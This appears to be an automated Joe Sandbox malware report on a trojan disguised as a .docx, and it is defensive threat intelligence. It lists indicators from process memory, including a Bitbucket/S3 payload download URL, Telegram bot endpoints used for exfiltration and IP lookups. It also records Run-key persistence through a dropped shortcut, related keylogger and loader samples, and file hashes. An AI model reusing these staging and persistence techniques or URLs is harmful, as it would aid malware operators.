http://ocsp.sectigo.com0	D.G Governor Istek,Docx.exe, 00000000.00000002.2274262219.0000000020800000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2277099019.0000000021778000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000003.2226424806.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2277821297.000000002190E000.00000004.00000020.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2279806088.000000007F450000.00000004.00001000.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2383062167.0000000021300000.00000004.00000020.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2375761543.0000000020833000.00000004.00001000.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot	xzeheenC.pif, 00000004.00000002.3468357631.000000001D2F1000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000004.00000002.3468357631.000000001D393000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000004.00000002.3468357631.000000001D56A000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000004.00000002.3468357631.000000001D547000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000004.00000002.3468357631.000000001D37F000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000004.00000002.3468357631.000000001D3F5000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000009.00000002.3471546461.0000000034797000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000009.00000002.3471546461.0000000034639000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000009.00000002.3471546461.0000000034551000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000009.00000002.3471546461.000000003475D000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000009.00000002.3471546461.000000003461A000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 0000000D.00000002.3468608975.0000000030FC5000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 0000000D.00000002.3468608975.0000000030E4B000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 0000000D.00000002.3468608975.0000000030E57000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 0000000D.00000002.3468608975.0000000030F7F000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 0000000D.00000002.3468608975.0000000030D71000.00000004.00000800.00020000.00000000.sdmp	false		high
https://web-security-reports.services.atlassian.com/csp-report/bb-website	D.G Governor Istek,Docx.exe, 00000000.00000003.2227349733.000000000082D000.00000004.00000020.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000003.2227422959.000000000082B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#	D.G Governor Istek,Docx.exe, 00000000.00000002.2274262219.0000000020800000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2277099019.0000000021778000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000003.2226424806.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2277821297.000000002190E000.00000004.00000020.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2279806088.000000007F450000.00000004.00001000.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2383062167.0000000021300000.00000004.00000020.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2375761543.0000000020833000.00000004.00001000.00020000.00000000.sdmp	false		high
https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/	D.G Governor Istek,Docx.exe, 00000000.00000003.2227422959.000000000082B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bitbucket.org/ntim1478/gpmaw/dow	D.G Governor Istek,Docx.exe, 00000000.00000002.2274262219.000000002090D000.00000004.00001000.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	D.G Governor Istek,Docx.exe, 00000000.00000002.2274262219.0000000020800000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2277099019.0000000021778000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000003.2226424806.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2277821297.000000002190E000.00000004.00000020.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2279806088.000000007F450000.00000004.00001000.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2383062167.0000000021300000.00000004.00000020.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2375761543.0000000020833000.00000004.00001000.00020000.00000000.sdmp	false		high
https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/	D.G Governor Istek,Docx.exe, 00000000.00000003.2227422959.000000000082B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bbc-frontbucket-static.stg-east.frontend.public.atl-paas.net	D.G Governor Istek,Docx.exe, 00000000.00000003.2227349733.000000000082D000.00000004.00000020.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000003.2227422959.000000000082B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dz8aopenkvv6s.cloudfront.net	D.G Governor Istek,Docx.exe, 00000000.00000003.2227349733.000000000082D000.00000004.00000020.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000003.2227422959.000000000082B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://remote-app-switcher.prod-east.frontend.public.atl-paas.net	D.G Governor Istek,Docx.exe, 00000000.00000003.2227349733.000000000082D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bbc-frontbucket-static.prod-east.frontend.public.atl-paas.net	D.G Governor Istek,Docx.exe, 00000000.00000003.2227349733.000000000082D000.00000004.00000020.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000003.2227422959.000000000082B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bbuseruploads.s3.amazonaws.com/e427e629-62a6-4ecd-bf22-56e4d6ea083f/downloads/3fdf6255-c09f-	D.G Governor Istek,Docx.exe, 00000000.00000002.2236856476.00000000007DC000.00000004.00000020.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000003.2227422959.000000000082B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://checkip.dyndns.org/p	xzeheenC.pif, 00000004.00000002.3468357631.000000001D2F1000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000009.00000002.3471546461.0000000034551000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 0000000D.00000002.3468608975.0000000030D71000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.cookielaw.org/	D.G Governor Istek,Docx.exe, 00000000.00000003.2227349733.000000000082D000.00000004.00000020.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000003.2227422959.000000000082B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/;	D.G Governor Istek,Docx.exe, 00000000.00000003.2227422959.000000000082B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://checkip.dyndns.P	xzeheenC.pif, 00000004.00000002.3468357631.000000001D2F1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aui-cdn.atlassian.com/	D.G Governor Istek,Docx.exe, 00000000.00000003.2227349733.000000000082D000.00000004.00000020.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000003.2227422959.000000000082B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://remote-app-switcher.stg-east.frontend.public.atl-paas.net	D.G Governor Istek,Docx.exe, 00000000.00000003.2227349733.000000000082D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://api.telegram.org	xzeheenC.pif, 00000004.00000002.3468357631.000000001D42D000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000004.00000002.3468357631.000000001D423000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000004.00000002.3468357631.000000001D393000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000004.00000002.3468357631.000000001D56A000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000004.00000002.3468357631.000000001D547000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000004.00000002.3468357631.000000001D65F000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000004.00000002.3468357631.000000001D3F5000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000009.00000002.3471546461.0000000034797000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000009.00000002.3471546461.0000000034639000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000009.00000002.3471546461.000000003475D000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 0000000D.00000002.3468608975.0000000030FC5000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 0000000D.00000002.3468608975.0000000030E57000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 0000000D.00000002.3468608975.0000000030F7F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	xzeheenC.pif, 00000004.00000002.3468357631.000000001D2F1000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000009.00000002.3471546461.0000000034551000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 0000000D.00000002.3468608975.0000000030D71000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bitbucket.org/)_	D.G Governor Istek,Docx.exe, 00000000.00000002.2236856476.00000000007B6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bbuseruploads.s3.amazonaws.com/	D.G Governor Istek,Docx.exe, 00000000.00000002.2236856476.00000000007DC000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.sectigo.com0C	D.G Governor Istek,Docx.exe, 00000000.00000002.2274262219.0000000020800000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2277099019.0000000021778000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000003.2226424806.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2277821297.000000002190E000.00000004.00000020.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2279806088.000000007F450000.00000004.00001000.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2383062167.0000000021300000.00000004.00000020.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2375761543.0000000020833000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bbuseruploads.s3.amazonaws.com:443/e427e629-62a6-4ecd-bf22-56e4d6ea083f/downloads/3fdf6255-c	D.G Governor Istek,Docx.exe, 00000000.00000002.2236856476.00000000007DC000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.pmail.com0	D.G Governor Istek,Docx.exe, 00000000.00000002.2278122938.0000000021A1C000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2277099019.0000000021778000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000003.2226424806.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000003.2232552355.000000007F11A000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2279806088.000000007F450000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2278647892.0000000021AF0000.00000004.00000020.00020000.00000000.sdmp, xzeheenC.pif.0.dr	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
52.217.32.148	s3-w.us-east-1.amazonaws.com	United States	16509	AMAZON-02US	false
185.166.143.49	bitbucket.org	Germany	16509	AMAZON-02US	false
132.226.247.73	checkip.dyndns.com	United States	16989	UTMEMUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1577649
Start date and time:	2024-12-18 16:15:35 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 31s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	D.G Governor Istek,Docx.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@21/7@4/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 96% Number of executed functions: 210 Number of non-executed functions: 57
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 20.190.147.2, 20.190.177.82, 20.12.23.50
Excluded domains from analysis (whitelisted): client.wns.windows.com, otelrules.azureedge.net, login.live.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: D.G Governor Istek,Docx.exe

Simulations

Behavior and APIs

Time	Type	Description
10:16:38	API Interceptor	2x Sleep call for process: D.G Governor Istek,Docx.exe modified
10:16:55	API Interceptor	4x Sleep call for process: Cneehezx.PIF modified
10:17:02	API Interceptor	689196x Sleep call for process: xzeheenC.pif modified
16:16:46	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Cneehezx C:\Users\Public\Cneehezx.url
16:16:54	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Cneehezx C:\Users\Public\Cneehezx.url

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	Nuevo pedido de cotizaci#U00f3n 663837 4899272.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	PAYMENT SWIFT AND SOA TT07180016-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	chrome11.exe	Get hash	malicious	Unknown	Browse
	chrome11.exe	Get hash	malicious	Unknown	Browse
	urS3jQ9qb5.jar	Get hash	malicious	Can Stealer	Browse
	urS3jQ9qb5.jar	Get hash	malicious	Can Stealer	Browse
	RFQ December-January Forcast and TCL.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	FileScanner.exe	Get hash	malicious	Unknown	Browse
	PK241200518-EMAIL RELEASE-pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	stealer.jar	Get hash	malicious	Can Stealer	Browse
185.166.143.49	http://jasonj002.bitbucket.io/	Get hash	malicious	HTMLPhisher	Browse	jasonj002.bitbucket.io/
132.226.247.73	0001.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Nuevo pedido de cotizaci#U00f3n 663837 4899272.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	ugpJX5h56S.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	hesaphareketi-01.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Shipment 990847575203.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	DEC 2024 RFQ.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Request for quote.doc	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Hesap_Hareketleri_10122024_html.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Hesap_Hareketleri_09122024_html.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	E-dekont.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s3-w.us-east-1.amazonaws.com	http://www.kukaj-to.chat/sedo	Get hash	malicious	Unknown	Browse	3.5.27.174
	fGZLZhXIt1.bat	Get hash	malicious	Unknown	Browse	3.5.31.118
	V7giEUv6Ee.bat	Get hash	malicious	Unknown	Browse	3.5.28.132
	BwQ1ZjHbt3.bat	Get hash	malicious	Unknown	Browse	3.5.0.126
	GdGXG0bnxH.exe	Get hash	malicious	Unknown	Browse	16.182.39.201
	https://eu.onamoc.comano.us/XaFJNdmNsY0JUVzZrd09aZnpEZk9LNXJHSFV1RTlrbFdPMXQ5dzRKTHV4dEdpUEhTM1I1MCszdjdWWm54V01kSEhOSlpOSFpjMUlsaFNTc0l3eXhVeWl3TGVjWm14bGMxUFkzWWFkVUQvbUlNMGEza0pnOFFCK3N4TDBlc3RyYWJkSE9xVU9ETG5TU1lHQkZwdStVdXhGMzdoQzltdFAwRnc0WTJuMmF3Q1VkTzdMb0lwNXhqOFQ3eGRtK0ZuQUpydjMxSWdnPT0tLUFPWFdqaFhtRnVKaEhNK20tLUlJNFZwQjNETFQyTk1iL0UxMUxBTGc9PQ==?cid=300477933	Get hash	malicious	KnowBe4	Browse	52.216.54.49
	https://login.corp-internal.org/17058d3d8656ed69?l=27	Get hash	malicious	Unknown	Browse	52.216.58.145
	18037.doc	Get hash	malicious	Unknown	Browse	52.216.144.19
	4JwhvqLe8n.exe	Get hash	malicious	Remcos	Browse	3.5.24.44
	fIPSLgT0lO.exe	Get hash	malicious	Remcos	Browse	52.217.129.233
checkip.dyndns.com	0001.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	Nuevo pedido de cotizaci#U00f3n 663837 4899272.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	PAYMENT SWIFT AND SOA TT07180016-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.6.168
	RFQ December-January Forcast and TCL.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	158.101.44.242
	Invoice.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	PK241200518-EMAIL RELEASE-pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	ugpJX5h56S.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	87h216Snb7.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	193.122.130.0
	dP5z8RpEyQ.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.130.0
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
bitbucket.org	credit.js	Get hash	malicious	PureLog Stealer, RHADAMANTHYS	Browse	185.166.143.48
	fGZLZhXIt1.bat	Get hash	malicious	Unknown	Browse	185.166.143.48
	V7giEUv6Ee.bat	Get hash	malicious	Unknown	Browse	185.166.143.50
	BwQ1ZjHbt3.bat	Get hash	malicious	Unknown	Browse	185.166.143.48
	GdGXG0bnxH.exe	Get hash	malicious	Unknown	Browse	185.166.143.50
	4JwhvqLe8n.exe	Get hash	malicious	Remcos	Browse	185.166.143.49
	fIPSLgT0lO.exe	Get hash	malicious	Remcos	Browse	185.166.143.50
	hoTwj68T1D.exe	Get hash	malicious	Unknown	Browse	185.166.143.49
	4JwhvqLe8n.exe	Get hash	malicious	Unknown	Browse	185.166.143.49
	fIPSLgT0lO.exe	Get hash	malicious	Unknown	Browse	185.166.143.49
api.telegram.org	Nuevo pedido de cotizaci#U00f3n 663837 4899272.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	PAYMENT SWIFT AND SOA TT07180016-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	chrome11.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	chrome11.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	random.exe.6.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, Stealc, Vidar	Browse	149.154.167.220
	urS3jQ9qb5.jar	Get hash	malicious	Can Stealer	Browse	149.154.167.220
	urS3jQ9qb5.jar	Get hash	malicious	Can Stealer	Browse	149.154.167.220
	RFQ December-January Forcast and TCL.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	FileScanner.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	PK241200518-EMAIL RELEASE-pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	Nuevo pedido de cotizaci#U00f3n 663837 4899272.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	PAYMENT SWIFT AND SOA TT07180016-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	chrome11.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	chrome11.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	noll.exe	Get hash	malicious	Stealc, Vidar	Browse	149.154.167.99
	urS3jQ9qb5.jar	Get hash	malicious	Can Stealer	Browse	149.154.167.220
	urS3jQ9qb5.jar	Get hash	malicious	Can Stealer	Browse	149.154.167.220
	RFQ December-January Forcast and TCL.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	FileScanner.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	PK241200518-EMAIL RELEASE-pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
AMAZON-02US	armv5l.elf	Get hash	malicious	Mirai	Browse	34.243.160.129
	la.bot.arm.elf	Get hash	malicious	Mirai	Browse	34.254.182.186
	https://launch.app/plainsart	Get hash	malicious	HTMLPhisher	Browse	76.76.21.21
	https://heyzine.com/flip-book/f976862c0c.html	Get hash	malicious	Unknown	Browse	35.157.30.249
	https://pluginvest.freshdesk.com/en/support/solutions/articles/157000010678-pluginvest-laadoplossing	Get hash	malicious	Unknown	Browse	108.158.75.74
	http://recp.mkt81.net/ctt?m=9201264&r=MjcwMzc5ODk4MTM3S0&b=0&j=MTY4MDU5NzgyOAS2&k=Language&kx=1&kt=12&kd=//docs.google.com/drawings/d/1GBvP8EGp9_63LeC_UMSYm_dkcuk4Q6yrMmrOzMDg_wk/preview?pli=1	Get hash	malicious	Unknown	Browse	99.79.158.237
	Nuevo pedido de cotizaci#U00f3n 663837 4899272.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	3.130.71.34
	VJQyKuHEUe.exe	Get hash	malicious	Unknown	Browse	3.5.237.31
	loligang.arm.elf	Get hash	malicious	Mirai	Browse	184.79.152.88
	sxVHUOSqVC.exe	Get hash	malicious	Unknown	Browse	52.95.160.49
AMAZON-02US	armv5l.elf	Get hash	malicious	Mirai	Browse	34.243.160.129
	la.bot.arm.elf	Get hash	malicious	Mirai	Browse	34.254.182.186
	https://launch.app/plainsart	Get hash	malicious	HTMLPhisher	Browse	76.76.21.21
	https://heyzine.com/flip-book/f976862c0c.html	Get hash	malicious	Unknown	Browse	35.157.30.249
	https://pluginvest.freshdesk.com/en/support/solutions/articles/157000010678-pluginvest-laadoplossing	Get hash	malicious	Unknown	Browse	108.158.75.74
	http://recp.mkt81.net/ctt?m=9201264&r=MjcwMzc5ODk4MTM3S0&b=0&j=MTY4MDU5NzgyOAS2&k=Language&kx=1&kt=12&kd=//docs.google.com/drawings/d/1GBvP8EGp9_63LeC_UMSYm_dkcuk4Q6yrMmrOzMDg_wk/preview?pli=1	Get hash	malicious	Unknown	Browse	99.79.158.237
	Nuevo pedido de cotizaci#U00f3n 663837 4899272.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	3.130.71.34
	VJQyKuHEUe.exe	Get hash	malicious	Unknown	Browse	3.5.237.31
	loligang.arm.elf	Get hash	malicious	Mirai	Browse	184.79.152.88
	sxVHUOSqVC.exe	Get hash	malicious	Unknown	Browse	52.95.160.49

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	https://launch.app/plainsart	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	https://pluginvest.freshdesk.com/en/support/solutions/articles/157000010678-pluginvest-laadoplossing	Get hash	malicious	Unknown	Browse	149.154.167.220
	yoyf.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	yoyf.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	hnsjdghf18.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	149.154.167.220
	kjshdgacg18.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	149.154.167.220
	Nuevo pedido de cotizaci#U00f3n 663837 4899272.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	PAYMENT SWIFT AND SOA TT07180016-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	cali.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	VJQyKuHEUe.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	52.217.32.148 185.166.143.49
	0Vwp4nJQOc.exe	Get hash	malicious	LummaC, Stealc	Browse	52.217.32.148 185.166.143.49
	Lw1k8a7gQu.exe	Get hash	malicious	LummaC	Browse	52.217.32.148 185.166.143.49
	iOnDpwrkWY.exe	Get hash	malicious	LummaC	Browse	52.217.32.148 185.166.143.49
	Z1jUFmrTua.exe	Get hash	malicious	LummaC, Stealc	Browse	52.217.32.148 185.166.143.49
	greatindiancompaniesgivenbestgiftforyourhealthgivengoodreturns.hta	Get hash	malicious	Cobalt Strike, Remcos, DBatLoader	Browse	52.217.32.148 185.166.143.49
	qth5kdee.exe	Get hash	malicious	LummaC	Browse	52.217.32.148 185.166.143.49
	LgendPremium.exe	Get hash	malicious	LummaC	Browse	52.217.32.148 185.166.143.49
	random.exe.7.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	52.217.32.148 185.166.143.49
	ji2xlo1f.exe	Get hash	malicious	LummaC	Browse	52.217.32.148 185.166.143.49

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\Public\Libraries\xzeheenC.pif	qDKTsL1y44.exe	Get hash	malicious	DBatLoader	Browse
	PRODUCT.bat	Get hash	malicious	AveMaria, DBatLoader, UACMe	Browse
	purchaseorder.bat	Get hash	malicious	AveMaria, DBatLoader, UACMe	Browse
	PO11550.exe	Get hash	malicious	AveMaria, DBatLoader, UACMe	Browse
	SecuriteInfo.com.Win32.DropperX-gen.27062.13281.exe	Get hash	malicious	AgentTesla, DBatLoader, RedLine	Browse
	PCMNil7wkU.exe	Get hash	malicious	AgentTesla, AsyncRAT, DBatLoader, RedLine	Browse
	tTIYCp2sf4.exe	Get hash	malicious	Remcos, DBatLoader	Browse
	Re_Porforma_Invoice_60_downpayment_-_PT_Era_F1909003_Project_Kupang.exe	Get hash	malicious	AveMaria, DBatLoader, UACMe	Browse

Created / dropped Files

C:\Users\Public\Cneehezx.url

Download File

Process:	C:\Users\user\Desktop\D.G Governor Istek,Docx.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<file:"C:\\Users\\Public\\Libraries\\Cneehezx.PIF">), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	104
Entropy (8bit):	5.074788252940729
Encrypted:	false
SSDEEP:	3:HRAbABGQYmTWAX+rSF55i0XM1d1sbxrcUy4RPNn:HRYFVmTWDyzwExrl19Nn
MD5:	1D42AE8B7F4540F199B4FA6E57A944A0
SHA1:	31415E02DA4BE9626ECB68D924CD7FC3D7D8959A
SHA-256:	62CFD805845DC5EE146D3A3D90317293DB3DCF38F36410754AF22C58972DA5DB
SHA-512:	F789375754F01684AA1AC8608A8F3D4E066CE1CE657E76FFA214780CFB62791966C1B6392C071131D5CA947EEBAB88159EE8EBC5E91E55CB592DC8F29C4E4EED
